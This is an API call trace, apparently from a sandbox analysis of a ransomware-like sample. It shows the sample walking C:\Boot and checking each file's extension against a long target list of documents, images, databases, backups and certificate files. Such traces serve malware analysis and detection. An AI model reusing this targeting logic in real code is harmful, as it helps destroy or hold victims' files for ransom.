	[0167.481] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".mos") returned 4
	[0167.481] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".mov") returned 4
	[0167.481] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".mp3") returned 4
	[0167.481] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".mp4") returned 4
	[0167.481] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".mpeg") returned 5
	[0167.481] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.481] lstrlenW (lpString=".mpg") returned 4
	[0167.481] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".mpv") returned 4
	[0167.481] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".mrw") returned 4
	[0167.481] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".msg") returned 4
	[0167.481] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.481] lstrlenW (lpString=".mxl") returned 4
	[0167.481] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.481] lstrlenW (lpString=".myd") returned 4
	[0167.481] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.481] lstrlenW (lpString=".myi") returned 4
	[0167.481] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.481] lstrlenW (lpString=".nef") returned 4
	[0167.481] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.481] lstrlenW (lpString=".nrw") returned 4
	[0167.481] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.481] lstrlenW (lpString=".obj") returned 4
	[0167.481] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".odb") returned 4
	[0167.482] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".odc") returned 4
	[0167.482] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".odm") returned 4
	[0167.482] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".odp") returned 4
	[0167.482] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".ods") returned 4
	[0167.482] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".oft") returned 4
	[0167.482] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".one") returned 4
	[0167.482] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".onepkg") returned 7
	[0167.482] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.482] lstrlenW (lpString=".onetoc2") returned 8
	[0167.482] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.482] lstrlenW (lpString=".opt") returned 4
	[0167.482] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".oqy") returned 4
	[0167.482] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".orf") returned 4
	[0167.482] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".p12") returned 4
	[0167.482] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".p7b") returned 4
	[0167.482] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".p7c") returned 4
	[0167.482] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.482] lstrlenW (lpString=".pam") returned 4
	[0167.482] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pbm") returned 4
	[0167.483] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pct") returned 4
	[0167.483] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pcx") returned 4
	[0167.483] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pdd") returned 4
	[0167.483] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pdf") returned 4
	[0167.483] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pdp") returned 4
	[0167.483] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pef") returned 4
	[0167.483] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pem") returned 4
	[0167.483] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pff") returned 4
	[0167.483] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pfm") returned 4
	[0167.483] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pfx") returned 4
	[0167.483] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".pgm") returned 4
	[0167.483] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".php") returned 4
	[0167.483] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.483] lstrlenW (lpString=".php3") returned 5
	[0167.483] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.483] lstrlenW (lpString=".php4") returned 5
	[0167.483] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.484] lstrlenW (lpString=".php5") returned 5
	[0167.484] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.484] lstrlenW (lpString=".phtml") returned 6
	[0167.484] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.484] lstrlenW (lpString=".pict") returned 5
	[0167.484] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.484] lstrlenW (lpString=".pl") returned 3
	[0167.484] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.484] lstrlenW (lpString=".pls") returned 4
	[0167.484] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.484] lstrlenW (lpString=".pm") returned 3
	[0167.484] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.484] lstrlenW (lpString=".png") returned 4
	[0167.484] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.484] lstrlenW (lpString=".pnm") returned 4
	[0167.484] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.484] lstrlenW (lpString=".pot") returned 4
	[0167.484] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.484] lstrlenW (lpString=".potm") returned 5
	[0167.484] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.484] lstrlenW (lpString=".potx") returned 5
	[0167.484] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.484] lstrlenW (lpString=".ppa") returned 4
	[0167.484] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.484] lstrlenW (lpString=".ppam") returned 5
	[0167.484] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.484] lstrlenW (lpString=".ppm") returned 4
	[0167.484] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.484] lstrlenW (lpString=".pps") returned 4
	[0167.484] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.484] lstrlenW (lpString=".ppsm") returned 5
	[0167.484] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.484] lstrlenW (lpString=".ppt") returned 4
	[0167.485] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".pptm") returned 5
	[0167.485] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.485] lstrlenW (lpString=".pptx") returned 5
	[0167.485] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.485] lstrlenW (lpString=".prn") returned 4
	[0167.485] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".ps") returned 3
	[0167.485] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.485] lstrlenW (lpString=".psb") returned 4
	[0167.485] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".psd") returned 4
	[0167.485] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".pst") returned 4
	[0167.485] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".ptx") returned 4
	[0167.485] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".pub") returned 4
	[0167.485] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".pwm") returned 4
	[0167.485] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".pxr") returned 4
	[0167.485] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".py") returned 3
	[0167.485] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.485] lstrlenW (lpString=".qt") returned 3
	[0167.485] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.485] lstrlenW (lpString=".r3d") returned 4
	[0167.485] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.485] lstrlenW (lpString=".raf") returned 4
	[0167.485] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.486] lstrlenW (lpString=".rar") returned 4
	[0167.486] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.486] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.486] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.486] FindClose (in: hFindFile=0x6abe98 | out: hFindFile=0x6abe98) returned 1
	[0167.486] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.486] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0167.486] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.486] lstrlenW (lpString="C:\\Boot\\Fonts") returned 13
	[0167.486] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6abe98
	[0167.487] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.487] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0167.487] lstrlenW (lpString="chs_boot.ttf") returned 12
	[0167.487] lstrlenW (lpString=".1cd") returned 4
	[0167.487] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.487] lstrlenW (lpString=".3ds") returned 4
	[0167.487] lstrcmpiW (lpString1=".3ds", lpString2=".ttf") returned -1
	[0167.487] lstrlenW (lpString=".3fr") returned 4
	[0167.487] lstrcmpiW (lpString1=".3fr", lpString2=".ttf") returned -1
	[0167.487] lstrlenW (lpString=".3g2") returned 4
	[0167.487] lstrcmpiW (lpString1=".3g2", lpString2=".ttf") returned -1
	[0167.487] lstrlenW (lpString=".3gp") returned 4
	[0167.488] lstrcmpiW (lpString1=".3gp", lpString2=".ttf") returned -1
	[0167.488] lstrlenW (lpString=".7z") returned 3
	[0167.488] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.488] lstrlenW (lpString=".accda") returned 6
	[0167.488] lstrcmpiW (lpString1=".accda", lpString2="ot.ttf") returned -1
	[0167.488] lstrlenW (lpString=".accdb") returned 6
	[0167.488] lstrcmpiW (lpString1=".accdb", lpString2="ot.ttf") returned -1
	[0167.488] lstrlenW (lpString=".accdc") returned 6
	[0167.488] lstrcmpiW (lpString1=".accdc", lpString2="ot.ttf") returned -1
	[0167.488] lstrlenW (lpString=".accde") returned 6
	[0167.488] lstrcmpiW (lpString1=".accde", lpString2="ot.ttf") returned -1
	[0167.488] lstrlenW (lpString=".accdt") returned 6
	[0167.488] lstrcmpiW (lpString1=".accdt", lpString2="ot.ttf") returned -1
	[0167.488] lstrlenW (lpString=".accdw") returned 6
	[0167.488] lstrcmpiW (lpString1=".accdw", lpString2="ot.ttf") returned -1
	[0167.488] lstrlenW (lpString=".adb") returned 4
	[0167.488] lstrcmpiW (lpString1=".adb", lpString2=".ttf") returned -1
	[0167.488] lstrlenW (lpString=".adp") returned 4
	[0167.488] lstrcmpiW (lpString1=".adp", lpString2=".ttf") returned -1
	[0167.488] lstrlenW (lpString=".ai") returned 3
	[0167.488] lstrcmpiW (lpString1=".ai", lpString2="ttf") returned -1
	[0167.488] lstrlenW (lpString=".ai3") returned 4
	[0167.488] lstrcmpiW (lpString1=".ai3", lpString2=".ttf") returned -1
	[0167.488] lstrlenW (lpString=".ai4") returned 4
	[0167.488] lstrcmpiW (lpString1=".ai4", lpString2=".ttf") returned -1
	[0167.488] lstrlenW (lpString=".ai5") returned 4
	[0167.488] lstrcmpiW (lpString1=".ai5", lpString2=".ttf") returned -1
	[0167.488] lstrlenW (lpString=".ai6") returned 4
	[0167.488] lstrcmpiW (lpString1=".ai6", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".ai7") returned 4
	[0167.489] lstrcmpiW (lpString1=".ai7", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".ai8") returned 4
	[0167.489] lstrcmpiW (lpString1=".ai8", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".anim") returned 5
	[0167.489] lstrcmpiW (lpString1=".anim", lpString2="t.ttf") returned -1
	[0167.489] lstrlenW (lpString=".arw") returned 4
	[0167.489] lstrcmpiW (lpString1=".arw", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".as") returned 3
	[0167.489] lstrcmpiW (lpString1=".as", lpString2="ttf") returned -1
	[0167.489] lstrlenW (lpString=".asa") returned 4
	[0167.489] lstrcmpiW (lpString1=".asa", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".asc") returned 4
	[0167.489] lstrcmpiW (lpString1=".asc", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".ascx") returned 5
	[0167.489] lstrcmpiW (lpString1=".ascx", lpString2="t.ttf") returned -1
	[0167.489] lstrlenW (lpString=".asm") returned 4
	[0167.489] lstrcmpiW (lpString1=".asm", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".asmx") returned 5
	[0167.489] lstrcmpiW (lpString1=".asmx", lpString2="t.ttf") returned -1
	[0167.489] lstrlenW (lpString=".asp") returned 4
	[0167.489] lstrcmpiW (lpString1=".asp", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".aspx") returned 5
	[0167.489] lstrcmpiW (lpString1=".aspx", lpString2="t.ttf") returned -1
	[0167.489] lstrlenW (lpString=".asr") returned 4
	[0167.489] lstrcmpiW (lpString1=".asr", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".asx") returned 4
	[0167.489] lstrcmpiW (lpString1=".asx", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".avi") returned 4
	[0167.489] lstrcmpiW (lpString1=".avi", lpString2=".ttf") returned -1
	[0167.489] lstrlenW (lpString=".avs") returned 4
	[0167.490] lstrcmpiW (lpString1=".avs", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".backup") returned 7
	[0167.490] lstrcmpiW (lpString1=".backup", lpString2="oot.ttf") returned -1
	[0167.490] lstrlenW (lpString=".bak") returned 4
	[0167.490] lstrcmpiW (lpString1=".bak", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".bay") returned 4
	[0167.490] lstrcmpiW (lpString1=".bay", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".bd") returned 3
	[0167.490] lstrcmpiW (lpString1=".bd", lpString2="ttf") returned -1
	[0167.490] lstrlenW (lpString=".bin") returned 4
	[0167.490] lstrcmpiW (lpString1=".bin", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".bmp") returned 4
	[0167.490] lstrcmpiW (lpString1=".bmp", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".bz2") returned 4
	[0167.490] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".c") returned 2
	[0167.490] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0167.490] lstrlenW (lpString=".cdr") returned 4
	[0167.490] lstrcmpiW (lpString1=".cdr", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".cer") returned 4
	[0167.490] lstrcmpiW (lpString1=".cer", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".cf") returned 3
	[0167.490] lstrcmpiW (lpString1=".cf", lpString2="ttf") returned -1
	[0167.490] lstrlenW (lpString=".cfc") returned 4
	[0167.490] lstrcmpiW (lpString1=".cfc", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".cfm") returned 4
	[0167.490] lstrcmpiW (lpString1=".cfm", lpString2=".ttf") returned -1
	[0167.490] lstrlenW (lpString=".cfml") returned 5
	[0167.490] lstrcmpiW (lpString1=".cfml", lpString2="t.ttf") returned -1
	[0167.491] lstrlenW (lpString=".cfu") returned 4
	[0167.491] lstrcmpiW (lpString1=".cfu", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".chm") returned 4
	[0167.491] lstrcmpiW (lpString1=".chm", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".cin") returned 4
	[0167.491] lstrcmpiW (lpString1=".cin", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".class") returned 6
	[0167.491] lstrcmpiW (lpString1=".class", lpString2="ot.ttf") returned -1
	[0167.491] lstrlenW (lpString=".clx") returned 4
	[0167.491] lstrcmpiW (lpString1=".clx", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".config") returned 7
	[0167.491] lstrcmpiW (lpString1=".config", lpString2="oot.ttf") returned -1
	[0167.491] lstrlenW (lpString=".cpp") returned 4
	[0167.491] lstrcmpiW (lpString1=".cpp", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".cr2") returned 4
	[0167.491] lstrcmpiW (lpString1=".cr2", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".crt") returned 4
	[0167.491] lstrcmpiW (lpString1=".crt", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".crw") returned 4
	[0167.491] lstrcmpiW (lpString1=".crw", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".cs") returned 3
	[0167.491] lstrcmpiW (lpString1=".cs", lpString2="ttf") returned -1
	[0167.491] lstrlenW (lpString=".css") returned 4
	[0167.491] lstrcmpiW (lpString1=".css", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".csv") returned 4
	[0167.491] lstrcmpiW (lpString1=".csv", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".cub") returned 4
	[0167.491] lstrcmpiW (lpString1=".cub", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".dae") returned 4
	[0167.491] lstrcmpiW (lpString1=".dae", lpString2=".ttf") returned -1
	[0167.491] lstrlenW (lpString=".dat") returned 4
	[0167.491] lstrcmpiW (lpString1=".dat", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".db") returned 3
	[0167.492] lstrcmpiW (lpString1=".db", lpString2="ttf") returned -1
	[0167.492] lstrlenW (lpString=".dbf") returned 4
	[0167.492] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".dbx") returned 4
	[0167.492] lstrcmpiW (lpString1=".dbx", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".dc3") returned 4
	[0167.492] lstrcmpiW (lpString1=".dc3", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".dcm") returned 4
	[0167.492] lstrcmpiW (lpString1=".dcm", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".dcr") returned 4
	[0167.492] lstrcmpiW (lpString1=".dcr", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".der") returned 4
	[0167.492] lstrcmpiW (lpString1=".der", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".dib") returned 4
	[0167.492] lstrcmpiW (lpString1=".dib", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".dic") returned 4
	[0167.492] lstrcmpiW (lpString1=".dic", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".dif") returned 4
	[0167.492] lstrcmpiW (lpString1=".dif", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".divx") returned 5
	[0167.492] lstrcmpiW (lpString1=".divx", lpString2="t.ttf") returned -1
	[0167.492] lstrlenW (lpString=".djvu") returned 5
	[0167.492] lstrcmpiW (lpString1=".djvu", lpString2="t.ttf") returned -1
	[0167.492] lstrlenW (lpString=".dng") returned 4
	[0167.492] lstrcmpiW (lpString1=".dng", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".doc") returned 4
	[0167.492] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.492] lstrlenW (lpString=".docm") returned 5
	[0167.492] lstrcmpiW (lpString1=".docm", lpString2="t.ttf") returned -1
	[0167.492] lstrlenW (lpString=".docx") returned 5
	[0167.493] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.493] lstrlenW (lpString=".dot") returned 4
	[0167.493] lstrcmpiW (lpString1=".dot", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".dotm") returned 5
	[0167.493] lstrcmpiW (lpString1=".dotm", lpString2="t.ttf") returned -1
	[0167.493] lstrlenW (lpString=".dotx") returned 5
	[0167.493] lstrcmpiW (lpString1=".dotx", lpString2="t.ttf") returned -1
	[0167.493] lstrlenW (lpString=".dpx") returned 4
	[0167.493] lstrcmpiW (lpString1=".dpx", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".dqy") returned 4
	[0167.493] lstrcmpiW (lpString1=".dqy", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".dsn") returned 4
	[0167.493] lstrcmpiW (lpString1=".dsn", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".dt") returned 3
	[0167.493] lstrcmpiW (lpString1=".dt", lpString2="ttf") returned -1
	[0167.493] lstrlenW (lpString=".dtd") returned 4
	[0167.493] lstrcmpiW (lpString1=".dtd", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".dwg") returned 4
	[0167.493] lstrcmpiW (lpString1=".dwg", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".dwt") returned 4
	[0167.493] lstrcmpiW (lpString1=".dwt", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".dx") returned 3
	[0167.493] lstrcmpiW (lpString1=".dx", lpString2="ttf") returned -1
	[0167.493] lstrlenW (lpString=".dxf") returned 4
	[0167.493] lstrcmpiW (lpString1=".dxf", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".edml") returned 5
	[0167.493] lstrcmpiW (lpString1=".edml", lpString2="t.ttf") returned -1
	[0167.493] lstrlenW (lpString=".efd") returned 4
	[0167.493] lstrcmpiW (lpString1=".efd", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".elf") returned 4
	[0167.493] lstrcmpiW (lpString1=".elf", lpString2=".ttf") returned -1
	[0167.493] lstrlenW (lpString=".emf") returned 4
	[0167.493] lstrcmpiW (lpString1=".emf", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".emz") returned 4
	[0167.494] lstrcmpiW (lpString1=".emz", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".epf") returned 4
	[0167.494] lstrcmpiW (lpString1=".epf", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".eps") returned 4
	[0167.494] lstrcmpiW (lpString1=".eps", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".epsf") returned 5
	[0167.494] lstrcmpiW (lpString1=".epsf", lpString2="t.ttf") returned -1
	[0167.494] lstrlenW (lpString=".epsp") returned 5
	[0167.494] lstrcmpiW (lpString1=".epsp", lpString2="t.ttf") returned -1
	[0167.494] lstrlenW (lpString=".erf") returned 4
	[0167.494] lstrcmpiW (lpString1=".erf", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".exr") returned 4
	[0167.494] lstrcmpiW (lpString1=".exr", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".f4v") returned 4
	[0167.494] lstrcmpiW (lpString1=".f4v", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".fido") returned 5
	[0167.494] lstrcmpiW (lpString1=".fido", lpString2="t.ttf") returned -1
	[0167.494] lstrlenW (lpString=".flm") returned 4
	[0167.494] lstrcmpiW (lpString1=".flm", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".flv") returned 4
	[0167.494] lstrcmpiW (lpString1=".flv", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".frm") returned 4
	[0167.494] lstrcmpiW (lpString1=".frm", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".fxg") returned 4
	[0167.494] lstrcmpiW (lpString1=".fxg", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".geo") returned 4
